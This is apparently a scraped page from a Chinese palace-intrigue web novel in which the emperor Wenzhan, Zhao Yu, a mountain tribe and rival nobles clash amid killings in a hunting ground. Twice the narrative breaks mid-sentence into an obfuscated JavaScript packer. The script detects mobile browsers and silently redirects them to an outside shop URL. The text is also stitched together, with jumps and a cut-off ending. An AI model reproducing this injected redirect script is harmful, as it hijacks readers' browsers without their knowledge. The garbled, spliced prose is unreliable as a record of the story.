她早已经死去的老父是那时候的长老,她记得幼年时隐约听说过一些关于‘神谕’的只言片语。他们这里的人都是‘护’,就像是环住铁的石块、长在坟头的草木,围在一起守护着天神的旨意,这是无上的尊荣!可是,三百多年过去了,一切都平淡无奇,这里的人命和潮汐一样,来了又去,同草木鱼鸟没有任何不同。 不,还是不一样。 他们有善恶,有尊卑。 有人一顿饭能拿到两只鹧鸪、三条鱼,吃不下噎住了还要硬塞;而有些人只能吃几颗野果子,不够果腹。 食物多的人,未必就是最好的猎手。 他们可能只是第一个出娘胎的儿子,最狡诈的人,或者,仅仅是男人。 ——这烧了满山村寨的火,也是‘神谕’吗? 老太太对檎说,“这种事,还是找男人吧。” 檎不明白,“为什么要找男人?” 老太太则说,“院里那两个男人,拿着弓背着箭筒,一看就是好猎手,找他们做帮手吧。”见檎还是不明白,因她本身就是最顶尖的箭手,从来不知道生死关头需要找男人,她奶又说,“就像林中的鹭鸟,雄鸟长喙如剑,如果不能用来守住打猎的水域,就只能用来内斗撕扯,甚至吼叫乱嚎,那可太烦人了。” 檎,“呃……” 她到后院,看见很像鹭鸟的那名男子,依旧安静,身上是新换的粗布衣裤,正在洗涮他身上原本那套黑色的衣袍。头发甚至没有扎紧,散落在额头上一缕,难言的清俊,世所罕见。——他可不像会吼叫乱嚎的鸟儿。 他手中那套衣衫不知道是什么布料,入水之后就涨了,上面繁复的花纹变得扭曲,昂贵珍稀的衣袍可能就此毁了,可那人不在乎,只将衣袍用力洗搓,尽除上面的血腥味道。 是的,血味。 他身上的味道极香极浓极烈!却依旧没有掩盖住衣袍上的血味。 那不是兽鸟的血,那是人的血。 “这是什么衣料,居然不能沾水?”檎很好奇,“衣服脏了该怎么办?” “脏了?”文湛,“衣服不会穿到脏,就会被换掉。” 檎,“一套衣服要挺三四天吗?” “三四天?”文湛拧衣袍的水,“三四个时辰都不需要。” 檎,“那你这是……” “我哥哥不喜血腥味。”文湛,“他是贵人,不碰粗布衣衫,如今打猎须从权,换不得新衣,只得将这件洗干净,备用。” 有那么一刻钟,檎就看着他洗衣服,拧衣服。 “姑娘在对面山村寨那里可有亲眷?”文湛忽然说。 “没有。”檎回答。 “那就不必救人了。”文湛彻底拧干了黑色缂丝衣袍的水,“隔山观虎斗,姑娘可听过?” “没听过。”檎说。 闻言,文湛扭头,看着她。 檎,“住在同一片崖谷,大家应守望相助。” 文湛,“真正可以同姑娘守望相助的人,不会使你和令祖母居于此地。姑娘,以德报怨是很好,可是,何以报德呢?” 檎把这番话带回去给奶奶,老太太听完了,叹口气,“天命如此,只是……” 覆巢之下,安有完卵? 她看见桌子上放着一笸箩红果子干,对檎说,“用布包裹几个果干,给他们送过去吧。” 结一份善缘,就不知道管用不管用了。 外面的山火已经烧到半个夜空都呈现红色,赵毓被文湛安置在床铺上睡觉,着实无法起身,可是睡却也睡不安稳。他睁开眼睛,看见文湛已经回屋,就站在窗边向外看,却不知在看什么。感知他醒过来,文湛回身,两步到床边,扶住赵毓的腰身,让他坐起来。 文湛端一瓦盏,喂赵毓一口水。 “这家的姑娘给了我一布包山果子干。”文湛说,“我给你煮了一碗甜果茶,好喝吗?” 微甜。 赵毓端着糖水,“文湛,我们等什么。” “结果。”文湛微微皱眉,“那片火,烧得太大了。” 不到一炷香之后,有一妇人在墙外哀嚎。 檎开门出去,看见是一亲族嫂,衣衫不整,浑身伤痕,踏过火海前来求援。 她听着惨痛,急忙到后屋找文湛。 却看见他正在给赵毓穿鞋。 文湛就单膝跪在床边,让他那个哥哥的脚放在他腿上,很认真细致套上靴子,再绑好带子,不松不紧,不卡脚,走山路却不会轻易掉落。 这是戎装。 檎见状,什么也不用说了,她也连忙回屋,背了自己的弓,拿了装满利箭的筒,在门外的水边追上文湛和赵毓。 她不明白为什么文湛会出手,赵毓知道。 入上林王狩之时,文湛有诫令,不容许屠戮残害妇孺。只因此役旨在选出北境王族统帅,出山海关拨乱反正,并不是灭国屠城。 北境是王土,生活着大郑的子民。 那里不是荒地与敌人。 如果不懂底线在哪里,根本不配夺取太|祖黑色王旗! 当然,以上都是冠冕堂皇的说辞。 小民如草芥。 无论秘境中,还是在北境。 真正的死罪,是他们违背了文湛的诫令。 致万骨枯,大功业;逆君父圣旨,其罪不容诛! 火光流于密林,如红色溪流漫过倒伏的巨木与破碎的瓦屋田舍,浓烟遮蔽夜空,余下暗红的天幕,模糊的土地。枯枝被吞噬,垂死的呻吟、哭泣声,还有乌鸦刺耳的啼鸣。 终于烟尘散开,冷月高悬,光之所及尸横遍野。 生如春花夏草,转瞬即逝,唯死亡永恒。 灰烬掩盖之下的谷底,幸存的人们紧贴着冰冷的岩壁,仰望着一线宽的天空,四周尽是粗壮茂密的树叶与藤条,还有草,绞扭在一起。 似乎……杀戮已经平息。 “山神发怒了。”老巫盘坐在一丛蘑菇上,灰暗粗糙的手指抚摸着膝盖上的龟甲,“一定是我们做错了什么,山神发怒了……” 他喃喃自语,用古傩语低沉反复吟唱招魂谣,试图召唤亡者魂魄归来,占卜究竟发生了什么。然而一直到山顶大火熄灭、杀戮停止,任何亡灵都没有回来同他讲话。 此时,潮湿的谷底忽然响彻竹哨声。 惊起大片黑色的鸟儿。 躲在藤蔓后的妇人慌忙捂住怀中婴孩的嘴,这才发现自己的手掌早已经潮湿,浸润了裹住孩子的麻布襁褓。 她旁边则是铁匠家的哑巴闺女,圆睁着双眼,看着四周,像头警惕的小兽。 “檎的竹哨。”不知道是谁支吾了一句。 “有人触犯了禁忌!”老巫不再吟诵招魂,他一根山羊胡在颤抖,“去年腊月,陈婆子他们家出了那等丑事,檎就应该献给山神大人!可惜,偏生有人阻拦……” 妇人低头,她揽着襁褓的手,指甲掐入掌心。 她记得那个夜晚,十三岁的少女被捆绑着,困在河边的大石头上,被迫看着天,眼睛里映着满天星斗。巫祝手中拿着与平时村民劳作使用的黑铁迥然不同的青铜长刀,将要划开她的喉咙,山顶树枝上传来三声夜枭的声音,——按照大巫的祖训,那是凶兆! “檎的爹娘为了村子救火而死。”妇人有些胆怯,却依旧坚定地说,“她姑姑出了边界,闯下大祸,可与她无关!” ——“不是山神震怒!”哑女突然发生嘶哑的声音,不高,却有些瘆人,“是陌刀……,长,劈砍,绞杀,下砍马腿,上削人头,专门对付骑在马上的人!听我爷说,祭坛上有一把,三百年了,那是仙人留下的长刀……他们靴底有瓷的碎渣……” 老巫似乎被什么吓住了,他脖子上有青筋,枯瘦的手指不再捏着龟甲,反而揪住手边的老藤手杖,用力敲击腿边大石,“妖言惑众!十年前你爷私闯祭坛染上瘟病,如今你又要……” “不!不是瘟病。”哑女的声音像是从地底传来,“我爷是被瓷片割破喉咙惨死的!瓷,那是仙人的圣物,咱们这里没有瓷,只有土陶!杀进来的那些人,他们靴底却有瓷的碎渣……” 竹哨声继续回响。 “老巫!”哑女忽然直面他,“边界外面,是什么?” 无人应答,只有老巫神叨叨的喃喃自语,——“山神震怒,灾祸降临。” 边界外面是什么他不知道,他只是知道,凡是靠近边界的人,都没有回来。 密林固密无隙,却如同轻纱,风吹起,甚至带着轻盈曼妙,可那是实实在在的生死屏障。 躲开,躲远一些,不要招惹。 就能活下去。 宗政文辩的剑尖低垂,血珠顺着刃口滑落,在苔藓上洇开,他感觉虎口都在发麻,手在发抖。 而戎久安用刀背敲了敲卡在树干上的残剑,铁器相击声惊起几只黑鸟,他将刀背卡在自己手臂肘窝处随意一滑,黑色缂丝猎装的料子擦拭血迹,“这里荒芜,草鸟倒是繁茂。等这一场过去,咱们要是还有命在,可在此处更请君王猎一围。” 宗政文辩看着他手中长刀,那是文王戎氏祖传秘宝,刀背上甚至镌刻着‘止戈’二字,此时却在密林幽暗的日光中,泛着冷光。似乎可以读懂他心中所想,戎久安说,“像你这种天真的雏鸟,如何在雍京活到今日?” ——雍京。 这个名字,不知道怎么,让宗政文辩心中一动,就像有人用细致的小刀,在心口上切。 居然有些陌生了。 在雍京那些高车驷马、饫甘餍肥甚至闲云野鹤的养尊处优居然有些陌生了。 这次进猎场,是戎久安的事连累了宗政文辩,戎久安知道,所以留给他一些不多见的耐心,“想什么?难不成在想赵毓?” 宗政文辩没说话。 “别人我不知道,不过抓你的命令,是他亲自点头首肯的。”戎久安冷笑一声,“那个人的底色,我比你清楚。” …… “哥哥,王爷在宗正寺,他找到人托孤了,就是那位大殿下。” “我和肚子里的孩儿,都可以活下去。” “王爷说,再等等,他那位兄长一定不负他。” …… 因为有了信念,妹妹拒不受死,磕碎了毒酒的瓷碗,绞断了白绫,即使阖府上下俱爬跪于重重缇骑包围之下。 为何会信他? 那个在自家兄弟手中骨肉成灰的先嘉王也就算了,妹妹为何会信一个连自己王爵都保不住的废物? 再等等? 莫说刻意拖延,只要再片刻犹豫,煌煌千年文王府灰飞烟灭! 他用一张弓的弓弦绞死了妹妹。 …… 戎久安,“我知道你们在背后议论过我和我妹妹,……她是先嘉王的正妃。先嘉王谋逆,没有人敢留他一息骨血在人间,也没有人能留他一息骨血在人间,那是先帝的旨意,为大郑计,为天下计,为后世计,她的孩子必须死。如果为了骨肉亲情容情一份,为臣子是为不忠,为人子是为不孝,为戎氏亲王,则是以己私不顾社稷。所以,我亲手用弓弦绞杀先嘉王妃与她肚腹中的孩子,不是错,更不是罪!” “可是,……” “天家翻手为云覆手为雨。” “同样一件事,昔年遵先帝旨为功,时过境迁则为过,今日令赵毓不舒服更是罪!” “我戎氏开国勋臣,与姬姓更是同宗,可,臣子终究是臣子。” “你以为自己宗政氏世代门阀便有所不同吗?” “蝼蚁,都是蝼蚁。” 戎久安忽然解下箭囊扔到宗政文辩脚边,“杀了她们!” 前面大石后转出一幸存的妇人,瑟瑟发抖,可是她死死保护怀中的孩子,那个孩子很年幼,还在吮着手指,另外一只藕一般的手中握着麦芽糖。骤然起风,灰烬落在宗政的眼睛中,像一根尖锐的刺。 “用你在雍京学的箭术,杀了她们。”戎久安的声音像钝刀刮骨,却低了下来,也静了许多,“如果她们活着走出这里,不到日暮,不但他们禁地中人会知道我们的所在之地,就连徽郡王世子也会知道。那个人是赵毓的伴读,自然和他同一个性子,表面看着温和,内在不为人知。不过,与赵毓功高震主需要韬光养晦不同,旻铉可是将北境视为掌中之物,他放不放你活着出禁地同他争兵权,你敢赌命吗?” 宗政文辩忽然将剑悬于腰间,随即弯弓搭箭。 可是箭矢对准的却不是妇人和孩子,而是戎久安。 开弓! 这支箭突然射出,穿透了戎久安腋下,将他右臂划开三寸,既能卸掉他手中的长刀,又不伤及性命。 刀坠地的响声犹如金石相撞。 戎久安感觉到血顺着手臂流淌下来,但是黑色缂丝颜色实在太深,已经湮灭了血流的痕迹。他突然笑了起来。笑声惊醒了宗政文辩!戎久安那双眼睛中,带着蓬勃的死气,他忽然之间就看到了十几年前,在那个顷刻之间就会覆灭的文王府邸,一个疯子为了活命,用弓弦勒死他的亲妹妹。 “你知道我为什么在雍京活到今日?”戎久安重新握住了长刀,“因为我真的会杀人!” 嗖! 一支黄金羽裂空而至。 将那妇人和她怀中的孩子一箭贯穿。 飕飕! 第二支黄金羽已至。 径直插|入宗政文辩的喉咙。 他轰然倒地。 自己的血飞溅进入自己的眼中。树顶有白色的飞花,像他书房雕花窗外的杏花。母亲总说,那花极美,盛放之时犹如千重堆雪,初春时节,那就是雍京的春雪,可他再也看不到来年雍京的春雪了。 戎久安看着远处射箭之人,“石世子不愧是大郑名将,百步穿杨。” “你在雍京住久了,废话也多了。”石慎走过来,看了看已经死去的宗政文辩,微微皱眉,却对戎久安说,“这一次的敌人不只有徽郡王世子旻铉,还有赵毓他们。” “他们?”戎久安问,“赵毓武学不修,如果想要在猎场活过前几个回合,身边肯定有犬马,是谁?” 此时,石慎一只脚踩住宗政文辩的脖子,弯腰伸手,将那根插入宗政喉咙的黄金羽拔了出来,“听说,是先宁王。” “二殿下摇光?”戎久安想起来之前自己被押入猎场,赵毓身边那个光头,“摇光,……不世出的猛将……” “走吧。”石慎不欲多言,也不欲多待。 戎久安蹲下,将宗政文辩的双眼合上,两个眼皮上各自压了一块小石头。 石慎看着他动作,没有说话也没有出言讥讽。千百年来,多少王公贵胄都是这样不明不白死在猎场这片土地上。宗政氏的死亡都不会在他们心中激起一丝涟漪,更何况本身就是猎物的妇人母子? 只是戎久安有些意外,就是他在起身去取贯穿妇人母子身上箭矢的时候,发现这并不是黄金羽,只是一根普普通通的破铁箭。 “她们怎配黄金羽?”石慎,“这些铁箭是我路上随便捡的。” 孩童手中的麦芽糖块儿碎在苔藓上,裂成八瓣琥珀色的残片,在密林割裂到破碎的日光中,折射出细碎的金芒。 石慎看着糖块的碎渣,忽然问了一句,“他们这里能种麦子?” 戎久安,“应该……吧。” “那就找到粮仓。”石慎,“如果这群人躲在里面,全杀了;如果没有人,那就把粮食全烧了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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文湛,“为时过早,等兄长于上林王狩逐鹿功成,再谋封狼居胥、千秋霸业吧。”他见檎已经出了山谷,扯着赵毓的袖子,“我们过去,看看这个姑娘找到她的族人了吗?” 赵毓又叹口气。他一直叹气,在文湛和檎这个姑娘以古怪的口音说话的时候,他依旧在叹气,可能是他过于沉迷于叹气,以至于也没仔细听文湛他们在说什么,虽然,就算他仔细听了,他也听不懂。 檎说话的时候一直看着赵毓,赵毓也只能收敛起来叹气,冲着她微笑。 文湛忽然问他,“她的话你能听懂吗,就冲她笑。” 赵毓,“笑一笑十年少。” 文湛,“她误解了,她以为你答应她的要求了。” 赵毓马上敛了嘴角,“啊?她不会让我上九天揽月,下五洋捉鳖吧。” “那倒没有。”文湛则说,“这姑娘说,她在山谷里见到族人,并且见到了她们的大巫师。他们把目前的危境仔细聊了聊,也占了卜,决定与我们合兵一处。” “嗯,他们有眼光。”赵毓,“得陛下一人,如得王师万千。” “不过……”文湛有些古怪地看着他,“他们提出来一个要求。” 赵毓洗耳恭听。 文湛,“联姻。” 赵毓很是有些为难,“如果这一趟上林王狩搞完,下一次要是还需留人在这个鬼地方,从根儿上断一下这个宗法。山清水秀,农林牧渔,靠天吃饭也挺好,没必要把人搞得一坨一坨的,有事儿没事儿就想着联姻。唉,没法子,陛下就勉为其难,和他们好好聊聊吧。你不娶人家的姑娘,人家也不放心把青壮放在你手上。” 文湛,“我倒不需要跟他们好好聊聊,人家没要我。” 赵毓,“呃……” 文湛,“他们想要哥哥。” 赵毓,“……” 文湛,“如果我人不在这里,哥哥面前只有二王兄,以他那扇阴风点鬼火落井下石的性子,我是不是又多一位嫂嫂?” 随后,却不等赵毓回答,他就对着檎说,“我哥哥不同意联姻。” 檎又看了看赵毓,这次他都不敢笑了。 檎则对文湛说,“我觉得,大约是这么个结果。那位哥哥虽然看起来很温和,却是……” 这种感觉很微妙。他们这里并不是常下雪,所以不会封冻到那么厚重的程度,有时候,下雪的时期和果木花期重叠了,就会看到花蕊上一层寒酥,虽然很轻盈,甚至温和,却是极寒。 “不过,先别彻底拒绝。”檎,“大巫不习惯被拒绝。” 文湛忽然一笑,自语,“汉孰与我大?” 如同剔透白琉璃一般的雍京官话,檎听不懂,但是赵毓能听懂。 ——滇王与汉使者言曰:‘汉孰与我大?’及夜郎侯亦然。 夜郎自大的典故,出自《史记·西南夷列传》。 不过文湛看着好像心情不错的样子,赵毓说,“你问问这个姑娘,为什么他们不选你当女婿?” 文湛则说,“哥哥曾经说过,你作为臣下管不了主上娶小老婆。依我看,哥哥到不是管不了,而是不想管,而且一有机会就想着丢下我,自己谋封狼居胥、千秋霸业去了。” 赵毓,“呃……我错了。” 文湛,“哼!” 真正见到檎的族人,赵毓感觉有些熟悉,但是又哪里不太对劲儿,虽然都是朱仙镇的人,但那毕竟是三百多年前的事儿了。 所有人围坐在一方巨大的悬崖谷底。 檎指着沿着紫金花坐着的十七位姑娘,依次对文湛说,“这是大巫叔伯家的新夷、拘那夷、名友、幽客、广寒仙,还老族长家三个房头的绮帐、瀛州玉雨、及第、鬼目、刺客、橐吾,以及,……呃,你不向你哥哥介绍一下这些姑娘们?” 檎说这些的时候,又看了看赵毓,而他也不知道自己应该不应该笑,就问文湛,“她在说什么?” 文湛,“一些话。” 转而,他对檎说,“我哥哥对她们没兴趣。” 随后,大巫,族长,还有各个势力的一些长老外加檎,开始和文湛说起来一些排兵布阵的正事,赵毓一句都听不懂。现在面对众人,尤其是沿着紫金花坐着的十七位姑娘,齐刷刷看着他,他当真是笑也不是,不笑也不是。 赵毓很是奇怪,明明文湛告诉这些人,自己因为生病烧坏了不管是脑子,耳朵,还是声音,他终究是个残废,怎么以大姑娘结盟这样的诡异事情,又落在他头顶上? 文湛如此珠光宝华,这群人难道眼瞎? 眼前伸过来一只纤细的手臂,一位同花骨朵相似年纪的少女,端过来一片棕榈叶,放着两块果子冻,还有一个树根雕刻的杯子,里面盛放着山楂桃子茶。 “这位哥哥。”少女用一种稍微怪异、有些嘶哑的声音对赵毓说,“喝点茶水,润润喉咙。” 赵毓一愣,他能听懂,…… ——雍京官话! 禁地中的少女,居然会雍京官话! 文湛也听到少女的声音,瞬间转头,死死盯住她。 赵毓,“姑娘说的这些话……” 少女,“哥哥是说,我会说哥哥听得懂的这些话吗?” 赵毓点点头。 少女,“我是铁匠家的哑女,我家世世代代锻造兵器。” 赵毓,……哑女? 这年头儿,这地界儿,哑女都能说一口雍京官话了吗? 哑女说,“这些话也随着兵器的手艺,在我家世世代代传了下来,已逾……” 赵毓,“三百年了。” 哑女忽然笑了,“哥哥是第一个能听懂‘逾’这个字的人,而且,……” “你居然还是个男人。” 赵毓,“瞧姑娘这话说的,我怎么了我?” 哑女,“老祖传下来的秘闻,外面会说这话的男人都被砍头了。” 她话音未落,另外一只手臂也伸到赵毓眼前,但是手心攥住,不知道是什么,她将要翻转拳头,…… 文湛暴起,一把将赵毓揽过去! 而哑女翻转拳头,张开五指,手心是一枚碎瓷片。 先帝凤化年间的官窑青花。 价值万金。 “这是你们的瓷片吗?”哑女嘶哑着声音,用雍京官话问,“边界外面,是什么?” 189. 189王权起于兵马IV 189 赵毓,“文湛,你是怎么在不同意联姻的情况下,拿到他们合兵的承诺?” 文湛,“我有他们想要的东西,但是,……”此时有风吹过,灌入文湛身上的粗布衣袖中,让他竟然有一种褒衣博带的盛装幻觉。他也感觉到赵毓看着他的眼神,转眼也认真看着赵毓,方说,“他们没有我想要的东西。” ——他们想要的东西…… 虽然一直无法听懂文湛与他们的谈话,但是赵毓知道,那是谷仓。檎的族人知道下一步需要保护粮食,可是他们已经没有长距离射杀敌人的弓弩手,那些人都死了。即使檎的射箭之术出类拔萃,可她只是个十三四岁的女孩子,太年幼了。也许她以后可能会是一名勇猛的战士,但不是现在。 而文湛是顶级的弓弩手。 “也对,这里的一切,对于陛下,不过是一场皮影戏。”赵毓说这话的时候,已经不再看文湛,他转眼,看着的,却是草丛外的远处,“自然没有文湛想要的东西,……” 他们就坐在大石上。 这里是崖的边缘。 晨曦逐渐显露出天际,远处山林沉默中有呼啸。 那边就是谷仓。 文湛听到赵毓这句话,将‘陛下’与‘文湛’分开。 他听懂了。 “承怡。” “嗯?” “有一句话,我一直想问你,但是多年没有勇气出口。” “啊?” “小时候。”文湛极认真看着他,“你是不是,极不喜欢我弄权?” 赵毓立刻想起来先昭静贵妃阿伊拉殒命那个时刻,也是一个早晨。二十年前的微音殿,大郑王朝的中枢,说起来距离眼前这片山谷并没有很遥远,却已经是另外一个尘世了。 连《诗经》上都说“风雨如晦,鸡鸣不已”,可乌云遮天蔽日,清晨如同子夜,大正宫红墙黑色琉璃瓦安静得如同生灵寂灭一般。 微音殿中先帝的声音说不出来是个什么情绪,却极轻,同文湛一样,也是剔透白琉璃一般的雍京官话。 “朕这个太子,小小年纪玩弄权术,……” 先帝后面的声音实在太低,跪在御座之下的赵毓听不见,也不想再听了。 此时,见文湛如此认真盯着他,赵毓抓了抓头发,才说,“我是不喜欢玩弄权术,可我不是针对你,我是不喜欢大正宫里面的这些暴烈的东西,所有的一切,很没人味儿……,呃,就是……” “不过,文湛。”赵毓终于理清了一句话,“我从未看轻过你。” 其实文湛知道,承怡是个性子极柔软的人,就算是床榻之上鱼水之欢,他都喜欢温温柔柔缠缠绵绵,可是在面对自己不受控的戾气和暴虐,他还能像水一样,将自己包裹住,浸润到无声无息,柔和绵密,稳稳将自己托住。承怡之于他,是一根命线,牵引着自己,不至于堕入权力顶峰之上的狂妄与虚无。 “承怡。”文湛,“先帝说过我这件事吧。” “呃……” 这话真是,不知道该怎么接。 说不是吧,等于当着面儿骗陛下,好像不是臣子所为;可要说是吧,老爹都死了这么多年了,这属于是隔着生死传闲话,挑拨先帝和今上他们本来就冷若冰霜几乎形同陌路的父子关系,实在也不太像个样子。 赵毓有些抓耳挠腮的,文湛就这么看着他。 “文湛。” “嗯?” “我觉得你对老爹的感情有点太淡漠。虽然吧,我觉得老爹这个人做皇帝是极好的,但做人家的亲爹不太像个样子,终究来说他是你亲爹。他杀过自己的儿子,废过自己的儿子,拿自己的儿子当棋子,弃子,但终究没有废黜你的太子之位。你对他,就没有一点孺慕之思吗?” 文湛忽然笑了,“我记得小的时候,有一次陪先皇后游御花园,在烟波湖旁边,当时看见先帝抱着你游园。先皇后忿忿不平,说你为人诡诈,矫情争宠,可是我却不这么想。” 赵毓,“呃……你怎么想?” 文湛,“我当时年幼,个子矮小,揽不住你,看到那一幕,我并没有嫉恨父皇对你的亲昵,我只是觉得那样也挺好,只是我也要长高,这样就可以抱着哥哥游园了。” 赵毓,“……” 文湛,“先帝,先皇后,那些兄弟们、姐妹们,还有那些变起肘腋的宗亲贵胄们,我从未觉得他们情薄,所以对于姬姓血亲搏杀也没有怨言,因为我对他们也这样。只是,承怡,你不同。” 方才在谷底,哑女向赵毓亮出手心中的凤化瓷片,同时问了这句话,而赵毓则被文湛异常强悍扯过去揽住,他根本没有机会回答。 ——“这是你们的瓷片吗?”哑女嘶哑着声音,用雍京官话问,“边界外面,是什么?” 边界的外面,是雍京。 千年大郑王朝的恢弘王京,瑰丽异常,却满藏杀机。 恐怖吗? 可是,…… 那里却是我的家。 有我最亲的家人。 文湛每次都说他不同,是真心的,赵毓明白,他也相信,可是他却总有些恍惚,因为,他似乎也没有那么特殊。 ……“所有人,你的亲人,爱你的人,甚至是你爱的人,我们所有人全部都是你、你头顶的天子十二旒、你身后大正宫的奴隶!” “生生世世都要为它们卖命!” “生生世世!” “不死不休!” …… “文湛。”他忽然开口。 “嗯?” 赵毓,“这么多年,你只遇到了我一个人。如果……” 文湛忽然侧耳,瞬间拿起放在手旁的强弩,抬臂对准山林那边的谷仓,手指扣动扳机,三支连发的弩箭离弦而出!动作一气呵成,而远处谷仓将要燃起的火焰,瞬间熄灭。 甚至连他身边的赵毓都没来得及反应。恍惚之间,这样的文湛竟然让赵毓惊觉陌生,此时的陛下并不是那个将克己复礼刻入骨髓的大郑守成之君,竟然有些像千余年之前,那位金戈铁马、气吞万里如虎的太|祖皇帝。果然是姬姓的血脉,如此强悍吗? 一时无语。 “只是,承怡,你不同。” “这么多年,你只遇到了我一个人。如果……” 未尽之意,也只在不言之中了。 谷仓。戎久安见要燃起的火忽然熄灭,用脚踢了踢趴跪在眼前的一个活着的禁地这边看守谷仓的人,让他去火堆那边看看发生了什么,随后,那人战战兢兢地捡回来一支遥远不知来处射过来铁弩箭。 “是赵毓。”戎久安看着这支弩箭,“不带黄金羽,只有他才敢如此明目张胆不遵祖训。”随即他又看到对面石慎箭筒中那几支破铁箭,“还有你,老石。怪不得你和赵毓孽缘这么重,你们俩倒是真像。” 石慎置若罔闻,只是看着这支铁箭,“二殿下的箭术如此出神入化?” “那当然!”戎久安,“摇光之前一直在西北,扫平撒马尔罕的帖木儿,那位可是当年高昌战神阿尔术依王之外的西疆十六国第一猛将!” “说起来,西北这场战局,定国公裴檀除了阿尔术依,摇光除了帖木儿,如果不是如此,赵毓也不会捡到平定西疆数百年战乱大功业这个大便宜。裴檀是他姓臣子,自然不敢也不会有什么妄念,可二殿下可是实打实的帝裔,如今到成了赵毓的爪牙,就是不知道他甘心不甘心了。” 石慎猛然回望山巅之上。 “怎么了?”戎久安让人继续点火,反正他躲在安全的地方,暴露在箭矢之下的只是这里的贱民,生生死死与他无碍,却看到石慎很是心不在焉。 “让他们弄吧。”石慎对戎久安说,“咱们去‘圣地’,如果晚了,恐怕徽郡王世子他们抢先。” 戎久安收拾箭囊,“从方才你就不对劲儿,怎么了?” 石慎依旧不回答,让戎久安赶紧走。 只是,走了几步,他又回望来时的山峰,此时雾水已经弥漫上来,层峦叠嶂藏于其中,什么也看不清楚。 谷仓这里又燃了两次火,都被远处射来的箭矢灭了火种,等檎她们赶到的时候,那些人虽然没有死伤却已经被吓得瑟瑟发抖了。檎有些意外,她没想到,这里居然没有‘入侵者’,而想要点燃烧自己村寨谷仓的人,竟然都是自己的族人。——这人做狗,竟然也做出了瘾头,无人看管的时候,他们自己还叼着狗链子奋力干活吗? 文湛算了算时辰,“檎她们应该到那边了,咱们也过去,顺便让她们带咱们去‘圣地’,既然你确定要做这件事,就别晚了,不然该拿的东西就拿不到了。” “文湛。”赵毓忽然说,“我又想了想,你方才问我的话。” 文湛低头收拾弩机,并没有抬头看他。只是从他紧绷的状态看得出来,他极认真倾听。 赵毓,“小时候我是不喜欢你玩弄权术,可就是因为不喜欢这些东西,所以我心疼你。” 文湛遽然抬头,认真看了看他,轻轻抬手,抚了一下赵毓的额头,才问,“心口疼吗?” “有点。”赵毓很是意外,“你怎么知道?” “你额上有冷汗。还有……”文湛,“你难受时候说的话,总像是交代后事,尤其是把我向外推。” 赵毓,“呃……” 文湛,“不过这次你倒是仁慈了一些,居然也开始说心疼我。” 赵毓想要开口,文湛截住,“承怡,北境你一定要去吗?即使可能殒命,也在所不惜?” 他们之前从来没有确切说起过“死亡”,有的只是心照不宣,还有文湛竭力阻拦与赵毓竭力画饼充饥。可是,他赵毓只是一介凡人,他不是神明,就连先帝那样紫微帝星下凡,百神护佑的大郑圣主也逃不过生死大限,更何况是他? 如果他是光棍,他一人吃饱全家不饿;如果他是孤臣,他一条命可以换取封妻荫子;如果他只是帝王家的器,最惨不过一场兔死狗烹、鸟尽弓藏,这些他都可以一意孤行。可如今,如果他不幸身故,连累文湛,连累大郑帝座易主,此罪孽十恶不赦、百身莫赎。 “文湛……” “你说,我听。” 赵毓,“都说千军易得,一将难求,其实,千军也不易得。虽说我大郑不缺人,可是那些都是农户,靠天吃饭,粟米也仅是温饱,身材矮小,力气也不够,不要说挥舞刀枪剑戟,就连骑马都费劲。陷在北境的原西北军都是在拉莫孔雀河身经百战,十年真刀真枪拼杀出来的人屠,并且直属王族,比将帅更难得。若只因为微音殿、猎场的谋略,他们便客死他乡,魂魄无法回归故里,实在有伤天和,而损了他们,陛下便失去了嫡系军队,又要回头依靠‘藩镇’,再难裁撤。北境那些‘藩镇’如何做大到如今尾大不掉的地步,未来就得不断上演,循回往复,陛下深受牵制,再难有所作为。” “还有,……文湛,半月之前在岐山,你曾经对我说过,土地最重要,只要存了地,人死了就死了,只要十年生聚十年教训,终究会有三千越甲。可是,这是不对的。” ……117章…… 赵毓将白天的所见所想大致说了一下,又问,“究竟是土地拥有人,还是人拥有土地?” 文湛沉吟,却反问了一句,“承怡,令岳尹明扬曾是疆臣,又是功勋之臣,对于自己的权力与职责,他有没有对你明说过?” “这不用他讲,朝廷上人人知晓。”赵毓,“封疆大吏,起居八座,堪比王公,就是因为具有守土之责。城在人在,城破人亡!” 文湛,“战败之后的处置呢?” 赵毓一愣。 一则,他几乎没有战败过。 二则,……,他想起来,尹明扬曾经在一次酒宴上,轻描淡写对他耳语,“打仗,死了人,主帅尚有可自辩的余地,毕竟胜败乃兵家常事,生死之事只道是寻常。手下军队尽数填了进去,仍然可以征兵,不愁没有东山再起的机会。可是,丢城失地,却是灭族大罪!” 这句话是酒后之言,并且说的太轻巧,赵毓一直没有往心里去。 直到今天,直到现在! 文湛,“千金可以散尽;宫阙可以做土;世间万千繁华都可以付之一炬,只有土地不会消散。只要将土地握在手中,即使大乱过后,百业凋敝,依旧可以春耕秋收,一年复一年,散尽的千金可以收复,宫阙可以再建,万千繁华终归可以一点一点凝聚。” “那人呢?”赵毓,“人死无法复生,命只有一次。与土地相比,孰轻孰重?” 文湛,“人死虽无法复生,却可以繁殖。十年生聚,十年教训,二十年之外,三千越甲可吞吴。那么,承怡,你觉得,究竟是土地重要,还是人重要?” …… 赵毓,“战时将在外,颇受牵扯,存地可以应对言官的口诛笔伐,可以应对兵部、内阁的问询,可是只余土地而没有人,那些都是荒地,只能长荒草,长不了粮食。粮食需要人来播种,布匹需要人来织造,铁器需要人来锻造,马匹需要人来喂养,更不要说守住这些土地不让财狼叼走,这些都需要人。更更不要说微音殿众人口中都说厌了的却谁也没当真的‘民心’,一旦失去,很难挽回。” “存人失地,人地皆存;存地失人,人地皆失。” “况且兵法讲究势,——故善战者,求之于势,不责于人,故能择人而任势。如果北境在高昌王攻势之下退守大鲜卑山,甚至退守山海关,则我大郑失势之形态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729047|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 